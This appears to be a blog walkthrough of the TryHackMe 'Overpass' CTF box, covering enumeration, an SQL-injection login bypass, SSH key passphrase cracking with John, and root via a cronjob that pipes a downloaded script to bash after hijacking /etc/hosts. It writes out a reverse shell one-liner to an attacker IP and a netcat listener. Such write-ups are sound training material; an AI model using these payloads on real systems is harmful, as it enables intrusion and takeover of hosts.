Contents

1

Overpass

All this server setup has been great fun, and I’m nearly to the point where I can start doing some fun stuff with my home lab… but I really miss CTF’s so I’m going to spend the next little while getting my head back into the pentesting game with some lovely, CTFs!

Summarized Walk Through

Enumeration

Discover SSH and HTTP Services with nmap:

$ export TARGET=10.10.33.249
$ sudo nmap -n $TARGET
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...

Discover admin endpoint with Nikto:

$ nikto --host $TARGET --port 80
...
+ OSVDB-3092: /admin.html: This might be interesting...
+ OSVDB-3092: /admin/: This might be interesting...
...

SQL Injection at Admin Login

Username: anything
Password: “or 1=1;%00
5

Crack SSH key Password

Hash the key:

$ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
..downloads..
$ python ssh2john.py ssh.key > ssh.hash

Crack the Password:

$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
...
james13          (ssh.key)
...

User Flag

SSH using the cracked key:

$ ssh -i ssh.key 10.10.33.249 
$ [email protected]:~$ cat user.txt
thm{xxxx}

Privilege Escalation

Discover Cronjob running as root, executing a remote script:

[email protected]:~$ cat /etc/crontab
...
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

Find that we can write /etc/hosts:

[email protected]:/$ ls -al /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

Edit /etc/hosts to point to our machine:

[email protected]:/$ cat /etc/hosts
<YOUR_IP> overpass.thm

Host a reverse shell script on our machine:

$ echo "sh -i >& /dev/udp/10.0.0.1/4444 0>&1" > shell.sh
$ mkdir -p downloads/src/buildscript.sh
$ python -m SimpleHTTPServer 80

Start listener and wait for root shell, capturing the root flag:

$ nc -nlvp 4444                 
listening on [any] 4444 ...
# ls
buildStatus
builds
go
root.txt
src
# cat root.txt
thm{XXX}

Thought Process

Enumeration

Following my CTF Playbook

$ export TARGET=10.10.33.249
$ sudo nmap -n $TARGET
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 14:46 EDT
Nmap scan report for 10.10.33.249
Host is up (0.10s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds

$ nikto --host $TARGET --port 80
nikto --host $TARGET --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.33.249
+ Target Hostname:    10.10.33.249
+ Target Port:        80
+ Start Time:         2021-08-09 14:58:31 (GMT-4)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /admin.html: This might be interesting...
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3092: /downloads/: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Operation now in progress
+ Scan terminated:  20 error(s) and 8 item(s) reported on remote host
+ End Time:           2021-08-09 15:08:45 (GMT-4) (614 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Alright well - seems like the next step is to fire up Burp and check out that web server!

Burp

Intended Use

2
There’s not a whole lot going on from root, the only interesting thing is the download so let’s check that out first.
3
The downloads appear to work, testing with curl, and the source code is available. This may also be a directory traversal vector or an Arbitrary file read. Let’s come back to this.

Admin Page

Nikto found us an Admin page, let’s check that out…
4
Okay, we can try brute-forcing this if we get desperate. First, let’s look at the .js handling the login and see if there’s any hints.

...
async function login() {

    const usernameBox = document.querySelector("#username");

    const passwordBox = document.querySelector("#password");

    const loginStatus = document.querySelector("#loginStatus");

    loginStatus.textContent = ""

    const creds = { username: usernameBox.value, password: passwordBox.value }

    const response = await postData("/api/login", creds)

    const statusOrCookie = await response.text()

    if (statusOrCookie === "Incorrect credentials") {

        loginStatus.textContent = "Incorrect Credentials"

        passwordBox.value=""

    } else {

        Cookies.set("SessionToken",statusOrCookie)

        window.location = "/admin"

    }

}

Nothing immediately useful, but we know there’s an API running at /api with endpoint /api/login. Let’s quickly try some SQL injection login bypassing…
- ‘or1=1
- or 1=1–
- or 1=1/*
- ‘or 1=1;%00 (This one printed out incorrect credentials, the others had no response)
- “or 1=1;%00 (Worked!)
5
6

Perfect, an SSH key. We should be able to get a nice pretty shell on the system now!

SSH Access

$ echo "<KEY>" > ssh.key
$ chmod 600 ssh.key
$ chmod 700 .
$ ssh -i ssh.key 10.10.33.249                                                                                                                                                                                         130 ⨯
load pubkey "ssh.key": invalid format
Enter passphrase for key 'ssh.key':

Ah, if I spent enough time to read the page I got to, I would have already started trying to crack this.

Cracking Key

First, we need to hash the key:

$ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
..downloads..
$ python ssh2john.py ssh.key > ssh.hash

$ cat ssh.hash
ssh.key:$sshng$1$16$9F85D92F34F42626F13A7493AB48F337$1200$2cdbb9c10041cfba4a67771ce135a5c4852e0ffa29262d435693dad3aa708871e17bc663c37feffb19e6b52dcefaa88d2479cb4bca14551e929a8b30e29a8b19c3f70302afaf30d6b70db270eee635d36ccf02e9deeb68ec435d4c86f3bc96a5ef7fde50df64605d2e6bdad90ba9b0a08da21bab1d94d2f866ab1863baebbc3c5e099264833406ce407dc0a830d658d3583cb2f2a9dc963ba03887fc42b1e8a37d06bfe74031f8a94d2478dc518167f1e16b88c3ca45173f43efb85c936d576f04c5e6af7c6e2a407a23a93f8cb8ea59c2eb84f592d2a449ef5f06feef1ca985f7a0998cd0ea378e0a17617c5ec0649900be5b2d0161649346a19f8de671ce965d4e065d6d9ac50847060aef04fff64bd488bdeb8640544615486e3daa887c51dcac264b80e6e003ada0f4c802657268a9825a8a5fea57b5fb0cd9fd4a6b3420207864e564a5ff8e8aee5bb649b8051f0016d12cbc0554f3206a1ac1a7abd17cd1024b1ced6c59973e8570bd6450f7c67ea7c3223a845e6fb25fbaccba1af66455f5b68299a402bf320d0ca752e92859ec4f7831d6892960d644492ab40fec60aea6f5bfaff61cd5198d4dfcd3e5e7913a450e4ccaa67772e3d3bc842f26af9411ebcf9149bf33ccdeb8a647012c97c187d75d43e0be6b00a55cbac745720f0ff4142e9166f35591db690b401951b2d05289bf55a103ea634cbab053e735e5617b10d6f70e6e6a754a124a53f3463cde79a3c6e4ee14f45ab465a60f90c972242cd1569e370dee0a2a4c8ee4543ec52c5c7b7156d1beb7fbc4448188ab386719e13040a58faecf7e095def2312586b295f71c3fef31b62e890a3279631b6605200a6bf7d9d915566cd5738508291c33c18585ea13e32170ad7854d5f8d08d6fdc47491b84ebfb45f579c7b2f7eb1dd9b827c17655a4b7f8763399e8c2371b6277b1c4eb8e76a75acd38eb5cec913723ad605f563cb84b4476a9040917cef352384441dd325c6bcc9d6cab326ac7421b20083d7e766e2a01943860f0398f0294750b5cd16304f52c414ab7b28a01aa206f0dc6e6b692cc1e78310a57e962fec24ea9effc0e5fa58ca35325905f793370bb7713c512ca4b1dfa41c5fdaacacf4ca81b1dd2b2e45e8611ea0a5b19b016e7c74f9b9d4c7a41c3f9678ff284d8188e0f5424bf585f94f741adcb452683223da9fc4c548bb505c98987387c81db53d229f42f3e69298fab2f175468003d295c05b1d8979d78c7104d54c270eaaabbe006ebd7e8dbb1fa17e05e2f41b32ebca93f0789429312cba472ffc86072b5b3e530fc7e405ad26c166590b376f0f98e22c3e60b66899703813bcb13d7c9f5a6e0ae05320de78347b8ffb1d160949a5cb40e29e37071ffcb5b9762a4eec39818d52ec0bc7b227cba37aeb4ffc6700e65eb3ca5aa294e823e3eca24bcd7790d4e30893b0291b178368ca6e745af1bedd491cfb6836552e9267132f5b867e9aed6b52e3d4f14e88b9dd9075e3ea2e8242f8b2f272618211b908eb52689ead701d99b605f708a68662df7a5acc7287ce1d15b6fa12f5907953b49654f198f663663785deb244d25c220083ae62db9fd0b933477b83487606515a24864e6034ba27a624d9c5a4fcc967efe3a1000a40bc304a54ceff2c647dfec54f71e128b3a1d37c15db9ac895f9ea05cd4b6e8edca6bfc53b

Then, we can use John to attempt cracking:

$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
james13          (ssh.key)
1g 0:00:00:03 DONE (2021-08-09 15:35) 0.2865g/s 4109Kp/s 4109Kc/s 4109KC/sa6_123..*7¡Vamos!
Session completed

Almost instant match…

Access

$ ssh -i ssh.key 10.10.33.249                                                                  
load pubkey "ssh.key": invalid format
Enter passphrase for key 'ssh.key': 
[email protected]\'s password: 

$ ssh -i ssh.key [email protected]
load pubkey "ssh.key": invalid format
Enter passphrase for key 'ssh.key': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Aug  9 19:36:03 UTC 2021

  System load:  0.0                Processes:           87
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.33.249
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
[email protected]:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)

Privilege Escalation

Boy was this box ever slow… I really wish tryhackme would provide a download so we could host these boxes ourselves…

$ ls -al
[email protected]:~$ ls -al
total 48
drwxr-xr-x 6 james james 4096 Jun 27  2020 .
drwxr-xr-x 4 root  root  4096 Jun 27  2020 ..
lrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27  2020 .bashrc
drwx------ 2 james james 4096 Jun 27  2020 .cache
drwx------ 3 james james 4096 Jun 27  2020 .gnupg
drwxrwxr-x 3 james james 4096 Jun 27  2020 .local
-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass
-rw-r--r-- 1 james james  807 Jun 27  2020 .profile
drwx------ 2 james james 4096 Jun 27  2020 .ssh
-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt
-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txt
[email protected]:~$ cat user.txt
thm{xxxx}

[email protected]:~$ cat todo.txt
To Do:
> Update Overpass\' Encryption, Muirland has been complaining that it\'s not strong enough
> Write down my password somewhere on a sticky note so that I don\'t forget it.
  Wait, we make a password manager. Why don\'t I just use that?
> Test Overpass for macOS, it builds fine but I\'m not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They\'re not updating on the website

Alright so, that’s a huge hint. Their encryption is weak, and the admin uses it himself so I should be able to find the database on the system somewhere and crack his password to get root on the box.

Note: Every time I hit the up arrow in the bash shell, the box resets. That could be useful if there’s a cronjob I need to exploit or something of that nature.
Poking around…

[email protected]:~$ ps -aux | grep root
root         1  0.0  0.9 159600  9088 ?        Ss   18:15   0:03 /sbin/init maybe-ubiquity
root         2  0.0  0.0      0     0 ?        S    18:15   0:00 [kthreadd]
root         4  0.0  0.0      0     0 ?        I<   18:15   0:00 [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I<   18:15   0:00 [mm_percpu_wq]
root         7  0.0  0.0      0     0 ?        S    18:15   0:00 [ksoftirqd/0]
root         8  0.0  0.0      0     0 ?        I    18:15   0:00 [rcu_sched]
root         9  0.0  0.0      0     0 ?        I    18:15   0:00 [rcu_bh]
root        10  0.0  0.0      0     0 ?        S    18:15   0:00 [migration/0]
root        11  0.0  0.0      0     0 ?        S    18:15   0:00 [watchdog/0]
root        12  0.0  0.0      0     0 ?        S    18:15   0:00 [cpuhp/0]
root        13  0.0  0.0      0     0 ?        S    18:15   0:00 [kdevtmpfs]
root        14  0.0  0.0      0     0 ?        I<   18:15   0:00 [netns]
root        15  0.0  0.0      0     0 ?        S    18:15   0:00 [rcu_tasks_kthre]
root        16  0.0  0.0      0     0 ?        S    18:15   0:00 [kauditd]
root        17  0.0  0.0      0     0 ?        S    18:15   0:00 [xenbus]
root        18  0.0  0.0      0     0 ?        S    18:15   0:00 [xenwatch]
root        19  0.0  0.0      0     0 ?        I    18:15   0:00 [kworker/0:1]
root        20  0.0  0.0      0     0 ?        S    18:15   0:00 [khungtaskd]
root        21  0.0  0.0      0     0 ?        S    18:15   0:00 [oom_reaper]
root        22  0.0  0.0      0     0 ?        I<   18:15   0:00 [writeback]
root        23  0.0  0.0      0     0 ?        S    18:15   0:00 [kcompactd0]
root        24  0.0  0.0      0     0 ?        SN   18:15   0:00 [ksmd]
root        25  0.0  0.0      0     0 ?        SN   18:15   0:00 [khugepaged]
root        26  0.0  0.0      0     0 ?        I<   18:15   0:00 [crypto]
root        27  0.0  0.0      0     0 ?        I<   18:15   0:00 [kintegrityd]
root        28  0.0  0.0      0     0 ?        I<   18:15   0:00 [kblockd]
root        29  0.0  0.0      0     0 ?        I<   18:15   0:00 [ata_sff]
root        30  0.0  0.0      0     0 ?        I<   18:15   0:00 [md]
root        31  0.0  0.0      0     0 ?        I<   18:15   0:00 [edac-poller]
root        32  0.0  0.0      0     0 ?        I<   18:15   0:00 [devfreq_wq]
root        33  0.0  0.0      0     0 ?        I<   18:15   0:00 [watchdogd]
root        36  0.0  0.0      0     0 ?        S    18:15   0:00 [kswapd0]
root        37  0.0  0.0      0     0 ?        I<   18:15   0:00 [kworker/u31:0]
root        38  0.0  0.0      0     0 ?        S    18:15   0:00 [ecryptfs-kthrea]
root        80  0.0  0.0      0     0 ?        I<   18:15   0:00 [kthrotld]
root        81  0.0  0.0      0     0 ?        I<   18:15   0:00 [acpi_thermal_pm]
root        82  0.0  0.0      0     0 ?        S    18:15   0:00 [scsi_eh_0]
root        83  0.0  0.0      0     0 ?        I<   18:15   0:00 [scsi_tmf_0]
root        84  0.0  0.0      0     0 ?        S    18:15   0:00 [scsi_eh_1]
root        85  0.0  0.0      0     0 ?        I<   18:15   0:00 [scsi_tmf_1]
root        90  0.0  0.0      0     0 ?        I<   18:15   0:00 [ipv6_addrconf]
root        99  0.0  0.0      0     0 ?        I<   18:15   0:00 [kstrp]
root       116  0.0  0.0      0     0 ?        I<   18:15   0:00 [charger_manager]
root       181  0.0  0.0      0     0 ?        I<   18:15   0:00 [ttm_swap]
root       211  0.0  0.0      0     0 ?        I<   18:15   0:00 [kdmflush]
root       212  0.0  0.0      0     0 ?        I<   18:15   0:00 [bioset]
root       272  0.0  0.0      0     0 ?        I    18:15   0:00 [kworker/0:3]
root       280  0.0  0.0      0     0 ?        I<   18:15   0:00 [raid5wq]
root       333  0.0  0.0      0     0 ?        S    18:15   0:00 [jbd2/dm-0-8]
root       334  0.0  0.0      0     0 ?        I<   18:15   0:00 [ext4-rsv-conver]
root       383  0.0  0.0      0     0 ?        I<   18:15   0:00 [kworker/0:1H]
root       405  0.0  1.6 127684 16908 ?        S<s  18:15   0:00 /lib/systemd/systemd-journald
root       407  0.0  0.0      0     0 ?        I<   18:15   0:00 [iscsi_eh]
root       421  0.0  0.0      0     0 ?        I<   18:15   0:00 [ib-comp-wq]
root       422  0.0  0.0      0     0 ?        I<   18:15   0:00 [ib-comp-unb-wq]
root       423  0.0  0.0      0     0 ?        I<   18:15   0:00 [ib_mcast]
root       424  0.0  0.0      0     0 ?        I<   18:15   0:00 [ib_nl_sa_wq]
root       426  0.0  0.0      0     0 ?        I<   18:15   0:00 [rdma_cm]
root       429  0.0  0.1 105904  1756 ?        Ss   18:15   0:00 /sbin/lvmetad -f
root       435  0.0  0.5  46724  5628 ?        Ss   18:15   0:00 /lib/systemd/systemd-udevd
root       516  0.0  0.0      0     0 ?        S    18:15   0:00 [jbd2/xvda2-8]
root       517  0.0  0.0      0     0 ?        I<   18:15   0:00 [ext4-rsv-conver]
root       613  0.0  0.6  70592  6080 ?        Ss   18:15   0:00 /lib/systemd/systemd-logind
root       614  0.0  0.6 286352  6836 ?        Ssl  18:15   0:00 /usr/lib/accountsservice/accounts-daemon
root       622  0.0  1.7 169188 17064 ?        Ssl  18:15   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root       624  0.0  0.3  30104  3124 ?        Ss   18:15   0:00 /usr/sbin/cron -f
root       646  0.0  0.7 291396  7340 ?        Ssl  18:15   0:00 /usr/lib/policykit-1/polkitd --no-debug
root       654  0.0  2.0 186032 20248 ?        Ssl  18:15   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root       669  0.0  0.6  72300  6576 ?        Ss   18:15   0:00 /usr/sbin/sshd -D
root       671  0.0  0.2  14768  2340 ttyS0    Ss+  18:15   0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220
root       684  0.0  0.1  13244  1976 tty1     Ss+  18:15   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root      2732  0.0  0.7 107988  7308 ?        Ss   19:36   0:00 sshd: james [priv]
root      2900  0.0  0.0      0     0 ?        I    19:36   0:00 [kworker/u30:1]
root      3127  0.0  0.0      0     0 ?        I    19:42   0:00 [kworker/u30:0]
root      3175  0.0  0.7 107988  7140 ?        Ss   19:44   0:00 sshd: james [priv]
root      3339  0.0  0.7 107988  7168 ?        Ss   19:47   0:00 sshd: james [priv]
root      3480  0.0  0.0      0     0 ?        I    19:49   0:00 [kworker/u30:2]
root      3504  0.0  0.7 107988  7356 ?        Ss   19:50   0:00 sshd: james [priv]
james     3589  0.0  0.1  13212  1048 pts/3    S+   19:50   0:00 grep --color=auto root

I also noticed a hash in james home dir:

[email protected]:~$ cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.

Nothing in crack station though…
7

Looks like some cronjobs running as root, let’s take a look in that area since we’ve gotten two pushes towards that realm now:

[email protected]:~$ crontab -l
no crontab for james
[email protected]:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

Okay this is great, it’s executing a script from overpass.thm as root that it downloads frequently… Can we control that domain?

[email protected]:/$ ls -al /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

Yep we can write to /etc/hosts… So:
- Write a reverse shell script
- Host it on attacking machine
- Change overpass.thm -> my machine
- Host the script at /downloads/src/buildscript.sh
- Win

Reverse Shell

# On Attack machine
$ nc -nlvp 4444                 
listening on [any] 4444 ...
# Script
$ echo "sh -i >& /dev/udp/10.0.0.1/4444 0>&1" > shell.sh

Edit /etc/hosts on target:

[email protected]:/$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
<YOUR_IP> overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Host the malicious script:

# Create the correct directory structure
$ tree
.
├── connect_try_hack_me.sh
├── downloads
│   └── src
│       └── buildscript.sh
└── shell.sh
# Host with python
$ sudo python -m SimpleHTTPServer 80

Wait… And we win!
8

# ls
buildStatus
builds
go
root.txt
src
# cat root.txt
thm{XXX}
Directory
$ cd content && tree